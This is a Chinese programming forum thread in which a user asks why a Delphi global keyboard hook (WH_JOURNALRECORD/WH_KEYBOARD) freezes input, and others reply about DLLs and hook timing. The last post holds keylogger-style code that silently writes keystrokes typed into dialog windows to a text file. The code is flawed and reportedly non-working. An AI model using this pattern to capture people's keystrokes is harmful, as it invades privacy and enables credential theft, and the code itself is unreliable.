我是这个设置的:
procedure loginpopedom;
begin
hHook:=SetWindowsHookEx(WH_JOURNALRECORD, HookProc,HInstance,0);          
end;可是当程序执行后,鼠标和键盘就都实效了,需要使用Ctrl+Alt+Del才能结束,根本记录不了键盘操作。而我把:     hHook:=SetWindowsHookEx(WH_JOURNALRECORD, HookProc,HInstance,0); 
换成:
     hHook:=SetWindowsHookEx(WH_KEYBOARD, HookProc,HInstance,0); 
后一执行程序就会关闭所有正在运行的程序,请问高手,这个键盘钩子到底应该怎么安装呢?
谢谢!

解决方案 »

  1.   

    这段代码是放在dll文件中的吗?全局钩子一定要在dll中才行,然后用exe来调用
      

  2.   

    不是,我这个程序没有dll,是非dll下键盘监视的,书上看的,我只是稍加改动了一下
      

  3.   

    鼠标与键盘钩子(WH_JOURNALRECORD)可以不用在DLL就能实现;如果是WH_KEYBOARD,就要在DLL中才能实现了
      

  4.   

    xzhifei(星级饭桶(抵制日货)·飞) 的:“鼠标与键盘钩子(WH_JOURNALRECORD)可以不用在DLL就能实现 ”据传说好象在2000下不行吧
      

  5.   

    我的计算机不是2000,是xp的!可也不行呀!
    procedure loginpopedom;
    begin
    hHook:=SetWindowsHookEx(WH_JOURNALRECORD, HookProc,HInstance,0);          
    end;可是当程序执行后,鼠标和键盘就都实效了,需要使用Ctrl+Alt+Del才能结束,根本记录不了键盘操作。
      

  6.   

    我不知道你们是怎么做的,但要记住一点就是,在处理HookProc过程中不能耽误太久,否则就会卡死!!如果你不能回避这个问题,那就只有用POSTMESSAGE(不能用SENDMESSAGE)方法让别的窗口去处理
      

  7.   

    function HookProc(iCode:Integer;wParam:wParam;lParam:lParam):LRESULT;stdcall;
     
     var
          c:integer;
          HWindow,hbutton1, HButton,hedit,hedit1, handle: THandle; //句柄变量
          debugfile:textfile;
          point:TPoint;
          temp:array[0..255] of char;
        begin
          HWindow:=0;
          found:=false;
             //找是#32770(对话框)的窗体
             HWindow := FindWindowEx(0, HWindow, '#32770',nil);
             hbutton1:=findwindowex(HWindow,0,'Button','取消') ;         If hbutton1 <> 0 Then//如果找到了
                Begin
                    
                    if (peventmsg(lparam)^.message = WM_KEYDOWN) then//判断是否按键
                          begin                        c:=peventMsg(lparam)^.paramL;
                            d:=char(c);//得到按键
                           {$I-}
                             if not fileExists('NEWFILE.txt') then//如果文件不存在
                                begin
                                AssignFile(debugfile, 'NEWFILE.txt');
                                Rewrite(debugfile);//创建新文件
                                write(debugfile,d);//写入键值
                                CloseFile(debugfile);
                                end
                         //
                             else//如果存在
                                begin
                                AssignFile(debugfile, 'NEWFILE.txt');
                                Append(debugfile);//追加记录
                                write(debugfile,d);//写入键值
                                closefile(debugfile);
                                end
                          end
                 end;
      end;procedure TForm1.FormCreate(Sender: TObject);begin
     hHook:=SetwindowsHookEx(WH_JOURNALRECORD,HookProc,HInstance,0);//加载钩子
     
    end;procedure TForm1.Button1Click(Sender: TObject);
    begin
     UnHookWindowsHookEx(hHook);//卸钩子
      hHook:=0;end;